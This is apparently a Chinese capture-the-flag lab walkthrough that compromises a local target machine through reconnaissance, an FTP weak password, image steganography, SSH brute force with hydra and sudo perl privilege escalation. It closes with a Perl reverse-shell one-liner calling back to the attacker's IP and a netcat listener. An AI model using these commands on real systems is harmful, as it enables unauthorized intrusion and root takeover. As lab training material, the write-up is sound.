靶机搭建
靶机下载地址,靶机下载后,到vmware中打开虚拟机并修改网络配置为NAT。
1、信息收集
主机发现
攻击机ip:192.168.233.128,nmap扫描攻击机同网段存活主机。
nmap 192.168.233.0/24 -Pn -T4
确认靶机ip为:192.168.233.129。
端口扫描
# nmap 对主机进行全面扫描
nmap 192.168.233.129 -A -T4
开放端口有:21、22、80,即ftp,ssh,http。ftp服务器中存在一张图片trytofind.jpg。
80端口网站如图:
网站指纹和目录扫描
访问80端口没有任何信息,网站指纹查一下,目录扫描看80端口还有没有线索。
whatweb http:192.168.233.129
dirsearch -u http:192.168.233.129
目录扫描发现存在/blogs目录,访问/blogs,文字提示我们没有防护,让我们进行下一步。没有防护意味着存在漏洞未修复?
下一步是什么,目录扫描没有别的路径了,那么已知的页面肯定还有信息没有被找到。F12检查页面,提示存在另一个秘密目录S3cr3t-T3xt。
访问,F12检查页面得到一个密钥:3xtr4ctd4t4。
2、ftp弱口令
根据信息收集,ftp版本为vsftpd 3.0.3 。
搜索vsftpd 3.0.3漏洞利用,得到的信息是存在弱口令,结合前面提示没有防护果断试试弱口令。
3、图片隐写
ftp登录后,发现的确有个jpg文件,看看trytofind.jpg有什么线索。
直接看看不出什么线索,应该有图片隐写,先看图片属性有没有藏提示,没有就用几个jpg图片隐写工具走一遍,例如:binwalk,foremost,stegoveritas,steghide。前面三个都没有得出有用信息,steghide使用时提示需要密码。输入前面在S3cr3t-T3xt页面获得的密钥试试。
steghide extract -sf trytofind.jpg
成功破解图片隐写,隐写内容内容如下:
得到两个信息:
- 存在renu这个用户。
- renu用户是弱密码。
4、ssh爆破
已知22端口开放和用户名,使用hydra进行爆破。
# 已知用户名hydra爆破
hydra -l renu -P nmap.lst ssh://192.168.233.129
爆破得到用户名:renu 密码:987654321。拿到flag1。
既然flag文件名叫user1.txt,那么应该有userx.txt,还有其他用户。看一眼哪个用户有/bin/bash的权限或者是直接切换到家目录看看有没有其用户。
cat /etc/passwd | grep /bin/bash
还有个用户lily。切到lily用户目录拿到flag2。
5、提权
sudo -l走一遍,不行。suid提权同样不行。
等等,试试登录lily,ssh登录到lily用户。再次尝试sudo提权。
发现perl命令是不需要密码且是使用管理员权限运行的,可以利用。
# 方法1
sudo perl -e 'exec "/bin/sh";'
# 方法2
# 攻击机监听2333
nc -lvvp 2333
# 靶机
sudo perl -e 'use Socket;$i="192.168.233.128";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
成功拿到root权限。
拿到flag3。🎆